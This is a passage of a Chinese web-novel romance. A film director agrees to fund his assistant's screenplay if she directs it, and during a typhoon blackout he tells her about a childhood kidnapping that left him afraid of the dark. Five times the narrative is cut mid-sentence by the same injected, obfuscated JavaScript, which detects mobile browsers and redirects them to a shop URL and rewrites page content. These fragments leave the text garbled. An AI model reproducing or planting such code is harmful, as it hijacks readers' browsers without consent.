谈雪昼摘了装逼的墨镜,随手交到小助理宜夏手里,问:“还行吧?” “反正没拖进度。”徐凌导演说,“不过难度还是有的。老大你帮忙解决下预算问题呗?再给一千万就行!” 谈雪昼:“我是开银行的吗?” “你这话说的,你不比银行有钱吗?”徐凌嬉皮笑脸,“请群演真的很花钱!爆炸戏也花钱!道具天天找我哭!老大,求你!” 谈雪昼:“自己想办法,实在不行,你就跟主演商量下能不能降一下片酬。” “……主演就给五十万,降不了了,我又没办法像老大你这样,让主演倒贴给我打工。”徐凌犹豫了下,问,“不然老大你教我一下,怎么让演员倒贴?” “很简单。” “长得帅。” 两道声音先后出来。 脱口而出“长得帅”,宜夏立刻感觉到徐凌和谈雪昼的眼神同时落在了她身上。宜夏压了压棒球帽,咳嗽一声,假装没说话。 徐凌这才注意到宜夏,问谈雪昼:“老大你新助理?小林呢?小林被炒了?” “他放假陪女朋友去了。这个… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627973|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …是临时的。” 宜夏跟着很谦虚谨慎地自我介绍。 徐凌也跟着自我介绍一番,高深莫测地说宜夏很有前途。 主要是很会拍马屁。 徐凌没跟他们坐多久,很快片场忙了起来,他被现场副导演叫走。 只是片子的制片人却不知道从何得知谈雪昼今天来了,火急火燎地赶到了,开门见山续上了徐凌刚刚的话题:“谈总,给点小钱花花。” 谈雪昼:“……” “真要超预算了,太花钱了,转场一次就是几百万。”制片人搓手,“谈总,多少打发点吧。这样,我刚在天顺阁定了个桌子,咱们边吃边细说。” 谈雪昼不想跟他们细说。 一说就要哗啦啦地投钱。 然而还是被他们架去了天顺阁。 小助理宜夏围观下来,发现谈雪昼可真是容易被哄骗。 一顿饭下来,甚至半杯酒都没沾,格外清醒地给人批了八位数的投资。 不过也不能怪谈雪昼。 制片老师的嘴巴,说得她头都晕了,更何况身处其中的谈雪昼呢? 从天顺阁出来,制片人情绪飞扬:“谈总,咱们这片子绝对不丢你的脸!我都想好了,就投明年戛纳电影节,高低拿一个最佳影片。” 谈雪昼扯了扯衣领散郁气:“行了,没喝醉也敢吹牛逼。别再找我要钱就行了。” 别的败家子是买买买,一天再怎么败,也花不了一千万。 谈雪昼眼都不眨,一千万就出去了。 坐在回去的车上,宜夏还有点儿恍惚:“谈总,你这一趟是给人送钱去了吧?” “……” 谈雪昼不想说话。 宜夏撑着下巴:“我一直以为你只会自己拍电影。没想到你还投资电影呀。” “怎么?” “你投电影赚钱吗?” “赚了点儿吧。” 宜夏小心打听:“一点儿是多少?” “打听这些干什么?赚的钱总之是够把你全须全尾买下来。” 宜夏不屑:“……那看来也不多啊。” “……” 宜夏说:“那你投资电影的话,你主要投什么类型的呀?商业片?艺术片?院线大片?还是什么?” “打听这么清楚,你想跟我投?” 宜夏立刻说:“我没钱。” “那你问什么?” “我是想知道……”宜夏很自然地说,“要不你看看要不要投我呗?投我的剧本?我觉得我也挺有潜力的。就缺一个伯乐投资。” “你?”谈雪昼瞥她一眼,“不投。” “为什么?你都没看过我的剧本,就说不投。” “只有一个剧本,我怎么投?” “除了剧本,还有别的呀。” “什么?” 宜夏直起腰,很自信:“一个编剧!” 谈雪昼:“……” 26. 春日 宜夏今天已经充分地发现了谈雪昼的好说话。 两个人回到嘉华汇顶层,宜夏立刻用书房的打印机把《清塘山岛日记》的剧本打印了出来,捧到谈雪昼面前。 谈雪昼随手接过她那一叠纸搁在旁边。 宜夏说:“你看看呀,我觉得我这个剧本,是可以拿戛纳最佳原创剧本的材料。” 谈雪昼开了电脑,摸出防蓝光的眼镜戴上,说:“我要开会。” 宜夏假装没理解他的逐客令,依然赖在书房:“你看一下我的剧本,谈老师,真的,看了你就会觉得特别的不错,发现我这个人特别的有才华。” 谈雪昼揉了下眉心:“我待会儿看,我现在开会。” 宜夏问:“那我可以旁听吗?” “不可以。” “哦。” 宜夏只好出了书房。 谈雪昼怎么这么冷漠呢。 也是。 太好说话的人,必须装得冷漠一点。 宜夏感觉自己已经看透他了。 谈雪昼的《致命追杀2》停了,开发了一半的IP到了其他人手里,工作前段时间也被暂停了。 家里要求他相亲,作为交换,他可以重新开始工作。 他手里同时有好几个项目,今晚开会是跟《牺牲者》的主创,打算重启进度。 一个会开完到八点,他摘掉眼镜,揉了揉干涩的眼镜,从抽屉里取出眼药水。 书房房门被拉开了一条缝,一颗脑袋从外面探进来。 宜夏扎了个松散的丸子头,一缕头发垂在眼前挡住视线,灵动地跳跃着。 谈雪昼手指不自觉动了动,很想替她拨开。 克制住了心口细微的瘙痒感,他平静看着她。 宜夏压低声音问:“你开会开完了吧?” 随即从门外挤进来,还端着一盘切好的水果。 无事献殷勤,非奸即盗。 谈雪昼目光凉凉。 宜夏恳切地把水果朝他推了推,讨好:“谈老师吃水果。”顿了下,“谈老师,看一下我的剧本吧?” 谈雪昼拿过手边那一叠剧本,扫了两眼。 宜夏很期待地看着他。 偏偏这时候手机突然响了声。谈雪昼看见上面跳动的名字,额角一跳,抓起手机起身接电话。 宜夏格外惆怅看着他的背影。 走到窗边,谈雪昼接通了电话。 对面,谈默生的声音苍老威严,聊的却是些谈雪昼格外抗拒的话题,譬如老爷子一直试图转圜他和他妈妈谈之尧女士的关系。 谈雪昼敷衍着嗯嗯两声,又差点把对面的老爷子气了个好歹出来。 电话挂断,窗外带露水的夜风拂面,谈雪昼俯视着楼底如蝼蚁的车流人流,有点提不起劲的懒散敷衍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644963|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背后,有人试探着小心翼翼叫了他一声,把他从那种懒怠的情绪里唤醒:“谈雪昼?” 他扭头。 宜夏冲他扬起剧本:“一起看?” 谈雪昼:“你这个剧本,是我不会投资的类型。” 宜夏脸立刻垮了:“为什么啊?你都没认真看,我写的很差吗?” 谈雪昼只略略挑眉,没回答她。 宜夏却说不出更多的恳求。 说白了,她还是想要用剧本本身打动他,而不是找借口,“我们关系这么好”、“看在我的份上”之类的说服他。 说不上是清高,还是别扭,总之她没办法再多说了,只好白着脸站起来。 想拿走那一叠剧本,又觉得自己跟小孩子赌气似的,只好整理好了放桌上,慢吞吞说:“如果你有空的话,再看一看吧。那我先出去了。” 出门前回头说,“过几天有台风,明天我打算回清塘。” 然而出门了,还是不甘心:“……你要一起回吗?” 谈雪昼很淡定:“我这几天都有安排。” 不回就不回。 搞得好像她很稀罕一样。 宜夏跟自己生了一会儿闷气。 谈雪昼怎么这么不会读气氛读情绪呢?死直男,怪不得一个女朋友都交不到。 ……唉。 算了。 白暧昧了。 27. 春日 - 床头亮着一盏鹿角形状的小灯,灯光昏黄。 谈雪昼一页一页翻着宜夏交给他的剧本。 《清塘山岛日记》。 他没说谎,这确实是他不会投的类型。他会投不那么商业的作品,偏向现实主义的剧本,但大方向也是剧情冲突比较明确的,和《清塘山岛日记》不是同一个方向。 但并不是说,这个剧本就不好。 谈雪昼从第一页慢慢开始读,逐渐被故事里复杂的人物情绪、暗流涌动的心理世界吸引。 凌晨三点他终于看完整个剧本。 他枕着手臂,看向天花板。 故事是个好故事。 甚至有种似曾相识感。像什么呢?故事最后留下的余韵,让他想起第一次在电影院看完《强制报告》的时候。 那时《强制报告》和《心声直播》打擂台,他跑路演跑得很辛苦,却还是抽了个空去看了这部横空出世的黑马。压住他的大卡司、大投资,这部黑马到底哪里好,值得豆瓣打出9.0的高分,国产院线最高分,同时票房表现竟然也不俗。 在漆黑的电影院待了一个下午,他从影厅出去,又买了一张票,当场看第二遍,给自己的竞争对手再贡献了一次票房。 如果不是因为于思程是《强制报告》的编剧,他不会答应跟她见面。 前几天见,事实上,没聊什么跟相亲有关的话题。 于思程也许看出了他着实对相亲没什么兴趣,主动挑起的都是跟电影有关的内容,说有机会可以合作。 聊得还算愉快,气氛不错,有机会的话,合作当然可以。 那天过后,他特地找出了于思程其他署名编剧的作品,囫囵看了一下。 却没任何一部,令他感受到《强制报告》那样的震动,平平淡淡,甚至有些敷衍,全是样板戏缺乏诚意。 时隔多日,他竟然是从宜夏的剧本里再次感受到了那种强烈的震动。 - 宜夏独自回了清塘。 或者说是赌气。 谈雪昼根本没发现她在赌气,自顾自忙自己的事。 差不多把《牺牲者》前期筹备工作安排好了,他意外地又想起了宜夏给他的剧本。 他没投过这类型的电影。 只有一个编剧,一个剧本,导演找谁?制片找谁?什么都没有怎么投资? 或者,没有其他导演,宜夏自己来拍? 如果她敢答应,他就敢投。 想了想,谈雪昼打了个电话出去。 从工作室出来,回到嘉华汇时,已经很晚了。 他推门进去,客厅灯火通明,沙发上坐着一个女人,双手抱胸淡淡看着他,略略扬了下下巴:“回来了?” 谈雪昼站在玄关口,懒得进门了,扶着门框:“妈。” 谈之尧站起来,冷笑:“这么不情愿见到我啊?你那什么表情?” 谈雪昼不想跟她争吵,很消极地问:“您过来,有什么指示?” 无非就是老一套,教训他赶紧别一天到晚忙些乱七八糟的事情,早点接手家业是正经事,等等等等,谈雪昼每次都左耳朵进右耳朵出。 然而这次却不是。 谈之尧上下打量他一番,冷笑:“你拍个电影也能被人欺负,自己手里的东西都能被姓全的拿走,你说你有什么用?” 谈雪昼沉默片刻:“是意外。” “是不是意外,你心里清楚。”她顿了下,“在你剧组里死的那个小明星,到底是什么情况?” 谈雪昼沉默看着她。 谈之尧抱着手臂:“乌烟瘴气的圈子,你再混下去,迟早被这些脏东西毁掉。这次是死了人,下次呢?这次是被人抢走了你的东西,下次呢?什么人都能欺负到你头上了,你记得自己姓什么吗?” “不管是什么事,我自己能处理好,你不了解的话,不要乱猜测。”谈雪昼心平气和,“妈,你还是照顾好你自己吧,我用不着你操心。”片刻后,他没忍住,补了一句,“毕竟这么多年你也没有管过我。” “好。很好。”谈之尧眼圈一下红了。 不过谈雪昼知道她不是被说哭了,纯粹是气红的。 她拎起包,狠狠瞪了他一眼:“我知道你一直恨我。” 标准的不欢而散结局。 谈之尧女士重重甩上了门离开,谈雪昼揉了揉太阳穴,情绪一下变得很消沉。 其实准确来说,辛漪不是在他的剧组里自杀的。 只是,《致命追杀2》确实选了她做女主角。还未开机,正在筹备阶段,所有演员参加动作训练,辛漪就是在训练两个月之后突然被发现自杀在了公寓里。 她的经纪人出来告诉粉丝,她是心脏骤停猝死。 只有很少知情人知道她是自杀。 原因很复杂,所有知情人心照不宣地把真相瞒了下来,谈雪昼什么都不能说。 为了一个女孩子死后的清白。 谈雪昼放空片刻,点开了辛漪生前的社交媒体。 去世前一周,她还在微博上跟粉丝分享自己辛苦训练锻炼出的人鱼线。评论区里全是缅怀她的粉丝,可惜她的英年早逝,可惜她的红颜薄命。 - “中央气象台发布台风黄色预警。 今年第15号台风蝴蝶今天下午由台风级加强为强台风级,蝴蝶将以每小时5-10公里的速度向西偏南方向移动,强度维持或缓慢减弱,逐渐向我市东南部一带沿海靠近……预计将带来持续强降雨,请各位市民注意防护……“ 宜夏关掉电视,瞥了眼窗外的天色。 台风还没来,但乌云已经遮蔽了大片天空,阴沉得滴水的天色,预示着一场大雨。 谈雪昼是不打算回来了吗? 台风来了可就没办法进岛上了。 宜夏一时间又有点唾弃自己,这么惦记他干什么? 她怏怏地进了厨房,打算煮一包泡面吃。 小奶锅里的热水沸腾着,发出咕嘟咕嘟的声音,她低头漫不经心地翻开手机,找一个花式煮泡面教程。 猝不及防外面一声闷雷炸响。 紧接着就是瓢泼似的雨声。 厨房朝外支了一个塑料遮雨棚,为小窗台上种的小葱和小西红柿挡雨,此时此刻雨点跟鼓点似的打在雨棚上,噼里啪啦,令宜夏怀疑雨棚够不够结实,会不会被打烂。 她倾身过去小心检查了一下雨棚,收回手,继续看手机。 一条短信突然跳进了她的眼帘。 “阿宜。” 宜夏心口猛地一跳。 是个陌生号码,只有一串数字。 但宜夏能分辨到底是谁。 她立刻点进去把那个号码拉黑。 但拉黑前,还是看见了那个号码发来的第二条信息。 “阿宜,我很想你。对不起,你原谅我好不好?那时候我也才十八岁。” 宜夏不仅是胸口堵得慌,更是胃里难受,她拉黑了那个号码,把短信记录删了个干净才缓过神来。 又是一声闷雷在耳边炸响。 灶上的小奶锅里水已经沸腾,她顾不得什么花式不花式了,把面饼放进了热水里囫囵开始煮。 两三点的天气,外面天却黑得像午夜。 宜夏的心情受天气影响,不免有些低落。 连绵不绝如瀑的雨声中,她隐约听见了一阵敲门声。 ……不是错觉。 真的有人在敲门。 宜夏拉开大门,谈雪昼站在外面,浑身湿透。 湿淋淋的头发贴着脸颊,不停往下滴水,更显得眉毛眼睫乌浓,有一种水淋淋的清澈感。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660109|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宜夏仰着脸,有些吃惊:“怎么回来了?” 谈雪昼很淡定:“怕瑁妹台风一个人害怕。” 宜夏:“……” “哦不对。一只猫。” 她赶紧让他进来。 谈雪昼把猫包放在地上,上楼冲澡换衣服。 宜夏捧着泡面碗坐在餐厅吃,听见楼上传来吹风嗡嗡的声音。 吃完了泡面又收拾好了桌子,谈雪昼还是一直没下楼。 宜夏只好在微信上问他有没有吃晚饭,要不要煮泡面吃。 他非常自然地回了个要。 宜夏感觉自己简直就是个奴隶。 老妈子。 保姆。 一想到一个月五万块钱……嗯,她又觉得能忍受了。 煮好了一碗面,谈雪昼掐准了时间下楼,一声不吭在餐桌边坐下开始吃。 宜夏坐在他对面,犹豫着。 还是有点不死心,想旁敲侧击打听一下,真的没希望给她投资吗? 她剧本也没那么差吧。 她咳嗽一声,温温柔柔说:“谈老师,慢点吃,不用着急。要不要我再炒个菜?我本来以为你不回来了,才糊弄着煮泡面的。要是知道你回来,我应该做几道菜的。” “不用了。”谈雪昼快吃完了,一挑眉,“你怎么回事?” “什么怎么回事?” “态度不对。” 宜夏搓手:“你看,每次都怀疑别人的好心肠,有点被害妄想。” 谈雪昼说:“那你就当我被害妄想吧。” 宜夏感觉这人确实有点油盐不进。 到底想个什么办法呢? 正琢磨着,一道闪电划过,紧接着就是几道震耳欲聋的轰隆雷声。宜夏被炸雷声震了个哆嗦,看来天气预报不是瞎说,这次台风是真的来势汹汹。 于是,宜夏亡羊补牢,赶快冒雨把外面淋雨的花盆都搬进家里,又给窗户贴米字胶带。谈雪昼也搭了把手,刚洗完澡,结果又是淋得一身都是雨。 这一忙就忙到了晚上。 宜夏钻进浴室透透彻彻洗了个热水澡出来,外面依然在下暴雨。 上回下暴雨,他们俩在荒郊野外相依为命,这回倒是很安全,在家里。 他应该不会突然发作那个毛病了吧? 那个毛病到底是什么造成的呢? 宜夏想起那次之后回来她就在网上搜了一下,黑暗恐惧症。心理医生说,大部分是由于童年心理创伤导致的。 每个人都有自己的缺口,哪怕谈雪昼看起来如此完整。 也有一道生命的裂隙。 宜夏听着台风带来的暴雨,翻来覆去折腾到凌晨两点才入睡。 然而没入梦多久,梦里出现了一个她不愿意看见的人。 “阿宜。” “阿宜,那时候我也才十八岁。” “你原谅我这一次,好不好?” “阿宜,我已经知道错了。” “我知道我伤害了你,你想打我想骂我,都可以,我是畜生,我是禽兽,我鬼迷心窍,对不起,你原谅我好不好?” 凌乱的长发,汗水,酒的气味,会所包厢皮革憋闷的气味,滚烫的皮肤,昏暗的光线—— 宜夏骤然从梦中惊醒,坐起来抚着胸口大口大口地呼吸。 今天如果不是收到于璟的短信,她已经强迫自己忘记这些事了…… 外面暴雨没停,闪电霹雳,宜夏胸口猛地跳了一下,摸索着按床头灯。猛地按了两下,灯却没亮。 宜夏摸出手机点开闪光灯,对准开关,使劲一按。 依然没亮。 ——停电了? 宜夏心猛一下提起来,顾不上穿鞋,光脚跳下床跑出卧室,蹬蹬蹬跑上二楼。 停电了,没有光,谈雪昼不会出事吧? 28. 春日 平时那个房间门缝里总是透出一线温柔的黄光。可是今天却一片漆黑, 她焦急拍着他的房门:“谈雪昼?你在里面吗?” 里面突然传来一声沉重的声响,似乎是什么重物滚落在地。宜夏更着急了,使劲拍门:“谈雪昼!你开门!” 电闪雷鸣,狂风暴雨,四周是伸手不见五指的漆黑,宜夏大力拍门,使劲拧门把。一拧,没拧动,房门却从里面打开了。宜夏动作太急,一个踉跄,朝前砸去,砸进门里的人怀里。 谈雪昼伸手搂住她,冷汗涔涔,向后几步倒在了床上。 宜夏撑着手肘坐起来,低头,没有一点光线,什么都看不见,却能感觉到手底下摸到的皮肤一片冰凉。 压在身体下的男人呼吸急促,皮肤冰凉,隐约发着抖。宜夏摸到他的手掌,一手湿冷的汗水。她跪在他旁边,着急地掰着他的脸孔,俯身下去:“谈雪昼,你怎么样了?” 谈雪昼大口大口地呼吸,然而心悸的症状没能缓解,费力地出声:“……光。光。” 宜夏扶他坐起来,胡乱摸索着周围的东西,摸到了刚刚摔在地上的手机,赶紧按亮屏幕,塞到谈雪昼手里。 谈雪昼盯着那一点微弱的荧光,瞳孔涣散。 宜夏捧着他的脸,声音依然在发抖:“好点了没有?是不是不够?你、你等等,我再去给你找别的灯。” 说着她站起来。 谈雪昼却死死攥着她的手腕。 宜夏不得不回身安抚他:“我有别的光,我去帮你找,我下去一会儿就上来。” 手机屏幕微弱的荧光映照着他的脸孔,一片苍白,额发凌乱,唇瓣却红得格外鲜艳。宜夏心口猛地跳了一下,换了语气:“那你跟我一起下去行不行?” 谈雪昼也许是终于缓了一口气,定定看着她好久,跟着站了起来,然而迈开腿第一步就有些跌撞。 宜夏扶着这人下楼。 他全程捧着手机那一点闪光,像捧住了救命稻草。 宜夏记得储物间里有用电池的小夜灯,是她很小的时候买的,只是不知道放在了哪里。她钻进储物间,蹲着,在柜子最底下那层终于翻出了印象里的小夜灯,定睛一看,也是个顶着月亮的鹿角形状。 她拨开电池拨片,小夜灯竟然亮了起来。 这么多年了,还能用。宜夏赶紧把一团米黄的暖光塞给谈雪昼。 捧住鹿角月亮,谈雪昼脸色终于不再苍白如雪。 他垂着眼皮,呼吸好一会儿终于平缓下来,声音沙哑:“是不是吓到你了?” 宜夏摇头,紧张看着他:“你……好点了吧?” “我没事。” “这个灯不知道能用多久,”宜夏想了想,“我再去找一下充电宝,给手机充个电。” “不用……”他抬起眼皮,沉默片刻,“你能不能……” 最后那几个字声音很小,像嗫嚅,宜夏没听清,问:“干什么?” “陪我。” 也只有在这种时候,宜夏才能看见他藏在无懈可击外壳下的一点真实的脆弱。 甚至……有点可怜呢? 宜夏的胸口莫名鼓胀起来,心跳一下一下,就好像响在耳畔。 他一直抓着她的手腕。 被扣住的那一点皮肤,隐约开始升温。宜夏张了张口,声音几乎是从喉咙里挤出来的,细声细气:“好。那去沙发那边坐着行不行?” “嗯。” 宜夏拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667448|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着人在沙发坐下。 台风带来的暴风雨,台风带来的停电,漆黑一片的室内,一盏鹿角月亮灯盈盈亮着,照见两个人不甚分明的眉眼。 宜夏一抬眼皮,就能撞进他幽深漆黑的眼睛里。 她突然有点不自在,摸了摸手指,偏过脸抓起沙发上的鹿角小抱枕胡乱捏着。 谈雪昼就捧着那盏灯不说话,可是目光却一直凝固在她脸上。 被看了好久,宜夏鼓起勇气抬头:“你能别看我了吗?” “我……”谈雪昼问,“你不看我,怎么知道我在看你?” “……看来你好了。”宜夏沉默片刻,“那我去睡了。” “不行。” 宜夏板起脸:“你说不行就不行呀?” 谈雪昼伸手拽住她的手腕,不准她站起来。 宜夏挣扎了一下,很烦。主要是眼下这个气氛,让她真的有点别扭。也说不上来是什么原因,就是不自在。 她想了想,垂着脸说:“那不然,聊天?” 谈雪昼轻轻“嗯”了一声。 宜夏揉了下眼睛,主动找了个话题:“那不如我们就聊聊,《清塘山岛日记》吧!” 说这个她可就不会困了。 谈雪昼垂着眼皮,没忍住,轻轻勾了下唇角。 还真是见缝插针,贼心不死。 宜夏有些讪讪,别过眼,红着脸:“笑什么笑。” 谈雪昼抬起眼,清凌凌地看着她:“明天给你看合同。” “什么合同?” “投资的合同。” “嗯???不是说不投吗?”宜夏睁大了眼睛。 谈雪昼想了下,说:“突然觉得你写得,也,还可以吧。” 29. 春日 还可以? 宜夏也顾不得他这勉强的评价,坐直了,并拢双膝,倾身看向他问:“你没骗我吧?真的会给我投资?你想清楚哦,我只有这一个本子,一个编剧。……别的什么都没有哦。” “不是还有一个导演吗?” 宜夏彻底愣了:“……你?” 她脑子乱了,话到了唇边,有点艰难不知道该不该说出口。又怕得罪金主爸爸,但不说出来,确实又有点违背真心,她委婉说:“你不是很忙吗,你应该……没时间,也没精力,拍我这种,投资这么小的文艺片吧?” “谁说是我拍?” “那谁?” “你自己。” 宜夏:“……啊?不行,我不行,谈雪昼,你自己是导演,你没点数吗?我从来没拍过,怎么可能自己拍电影啊,而且还是长片。我没拍过这些。” 谈雪昼垂眼看鹿角月亮上的花纹。说话慢条斯理,才从那种强烈的心悸中清醒过来:“我给你投资也可以,条件就是你要自己导演。” 宜夏呆住了,半晌闷闷说:“你是在为难我。” “你就当是吧。” 宜夏埋着头嘟囔:“不给投资就不给,何必还提这些根本做不到的条件。” “宜夏,你真的没想过自己拍吗?”夜深了,谈雪昼脾气也变好了,声音格外耐心温柔,“我是觉得你可以,才提这个要求的。我看了你的剧本,和普通编剧出的剧本不一样,你考虑过机位、走位、布景、景别、灯光,你有做导演的能力。” 宜夏没想到他是认真的,空白了一下,喃喃问:“真的吗?” “不想试试吗?”谈雪昼说,“你问我为什么要做导演。为了创造属于我的世界。你呢?你不想,创造你自己的世界吗?” 宜夏怔怔看着他:“——你,你是认真的?” 怎么可以一句话就把她说得心动了? “你好好想想。” 宜夏低声说:“我发现你是真的缓过来了……现在轮到我晕了。” 谈雪昼轻轻挑了下唇角。 窗外依然风雨大作。 又是一道闪电划破天幕,紧随着轰隆的雷声。 宜夏突然跳起来检查贴了米字胶带的窗户有没有坏掉。 客厅的窗户倒是还好,她拉开推拉门进到厨房,却发现厨房飘进来了大雨,地板已经被泡得翘了起来。支在窗台上的遮雨棚早就不知道被打到哪里去了,窗台上的植物被打得蔫头耷脑。宜夏收拾东西的时候漏掉了这个窗台,这会儿赶紧把小花盆往厨房里搬。 谈雪昼捧着小夜灯过来,也不出声,只是挤进了厨房。 厨房本身太小,一转身,宜夏就撞到了谈雪昼的胸口。他虚虚扶了她肩膀一下,宜夏额头抵在他肩膀上,闷声问:“你不是已经缓过来了吗?干嘛跟着我?” 谈雪昼歪了下头:“我还是……怕黑。” 这么坦荡承认自己害怕。 宜夏把最后一盆小葱搬进来,推推谈雪昼的肩膀:“去客厅。”顿了下,又问,“谈雪昼,你该不会要我陪你熬通宵吧?” 谈雪昼声音柔软:“那先谢谢你。” 宜夏:“……” 两个人再次回到沙发上坐下,宜夏抱着抱枕,犹豫了一下才问出口:“那要不要聊一下,你为什么会怕……不过不想聊的话就算了。” “为什么怕黑?”谈雪昼冰凉的手指在小夜灯上摩挲,想了想,“没什么不能聊的。” 然而还是沉默片刻,他才再次出声:“因为小时候一次意外。” 宜夏小心翼翼说:“你要是不想说的话就不说了。” 谈雪昼垂着眼皮,语气很和缓:“是被绑架。当时我跟我妈妈住在一起,在LA,家里的佣人跟绑匪勾结。绑匪把我关在船上,开到了公海。我被关在……”他沉吟了一下,才找到描述的词汇,“一个封闭的木箱子里,只有一个气孔。被关了,快一周。” 宜夏愕然,紧紧咬住唇瓣。 有点无法想象那是什么情况。 只有一个气孔的箱子? 她下意识去看他的神色,却发现他表情很空白,接近无机质的神情,恍惚的回忆状态。 他慢慢说:“海上一直下暴雨,船上没有电。箱子里就更黑了。” 宜夏突然握住他冰凉的手指:“不要想了,对不起。” 谈雪昼呼吸很平静。垂眼看着手里的一捧光,他轻声说:“没什么,已经过去很久了……就是有一点后遗症而已。” 其实没他说得那么轻松。 被转移到公海上之前,他已经被关在小箱子里一周多。 所以加起来,足足十多天,一直被封闭在只能蜷缩一个人的黑暗空间里。 绑匪很专业,把他转移到了公海上。 拿到超过一亿美金的赎金之后,才通知了他的位置坐标。等到救援部队在茫茫大海上找到他那艘小船时,绑匪全都已经逃之夭夭。 他被救了出去,半个月的折磨,几乎失去了语言能力。恐惧黑暗,恐惧人群,没办法跟人正常接触。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678420|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快二十年,后遗症延续至今。 做导演对他来说也是一个巨大的挑战。 因为,最开始,其实他是没办法待在黑暗的地方的。甚至待在有光线的影厅里看电影,都会感觉到强烈的不适。 人生第一次待在黑暗的影厅里看完一场电影,出来之后,吐了个天昏地暗。 然而,也许有些人真的有上天赋予的使命。 哪怕再痛苦,他还是走在了这条路上。 谈雪昼从回忆里抽神,转过头,影影绰绰的光线下,看见她通红的眼圈。 他笑了一下:“你……我没事。” 宜夏怔怔问:“你当时,害怕吗?” “有点吧。” “那……像今天这样的反应,你发作的次数多吗?” “刚被救出来的时候很严重,后来渐渐好了。只要有光,不会太严重。”谈雪昼顿了下,“已经很久没发作了,谁知道在你面前就发作了两次。” 宜夏抬眼,慢吞吞展开手臂。 “要不要,抱一下?安慰你一下。” 谈雪昼挑了下眉。 宜夏立刻收回手,勇气一泻千里,不自在地说:“不要算了。” 谈雪昼慢条斯理把鹿角月亮搁在旁边茶几上,突然伸手一把将她拽进了怀里抱住。 怀里身躯柔软,把他的胸膛填满。鼻尖嗅到她头发上芬芳馥郁的铃兰花香气,很纯,温暖干燥的感觉。 她的身体好像在发抖。 紧张吗? 她也会紧张? 她埋在他胸口,声音闷闷的:“谈雪昼,你别抖。” 他声音跟着变得很闷:“是你自己在抖。” “我没……”她慢慢伸手,手臂像一条刚探出来的小藤蔓一般攀在他的脊背上,把他箍得紧了一点,嘴上却在说,“这是安慰,不是占你便宜。” 谈雪昼叹了口气,低声说:“那你实在想占,也不是不行。” “不、不了吧,我不是那种,趁人之危的人。” 话是这么说,她还是一直紧紧抱着他的腰。 漆黑的世界里有一盏鹿角的小夜灯发着温柔昏黄的朦胧暖光。 他把她揽在怀里,好像抱住了月亮。静静依偎了很久,等谈雪昼从一线阗然无声的静谧中找回思绪时,怀里的人竟然困得在他怀里睡着了。 他稍稍一动,她的脸颊压在他胸口,往下蹭着滑落。 他起身找了条毯子给她盖上,坐在她旁边,低眼看着那盏黑暗中的鹿角月亮,出神看了很久。 30. 春日 - 台风天的破坏力太大了。 次日电力一时间没有抢通。 通讯也时断时续,信号也不大好。唯一的好消息是没有停水。 这是住在岛上的弊端。如果现在在江流市,情况肯定好得多。虽然江流也被台风扫荡,但电力和通讯基本不会有什么问题。 台风带来的大雨依然在落,仿佛会落到世界末日。 幸好宜夏早有准备,家里有米有肉有泡面,两个人吃饭不成问题。 解决了午饭,宜夏打算冒雨出去看看附近的小卖部有没有电池。 昨晚找出来的那盏小灯,电池已经二十多年了竟然还能用,只能说是世界奇迹。要是今晚还不来电,电池突然出问题,谈雪昼不是又要发作? 但雨实在是太大了。她撑着伞还没走出院门,就被呼啸而来的冷风冷雨刮得往后倒退。 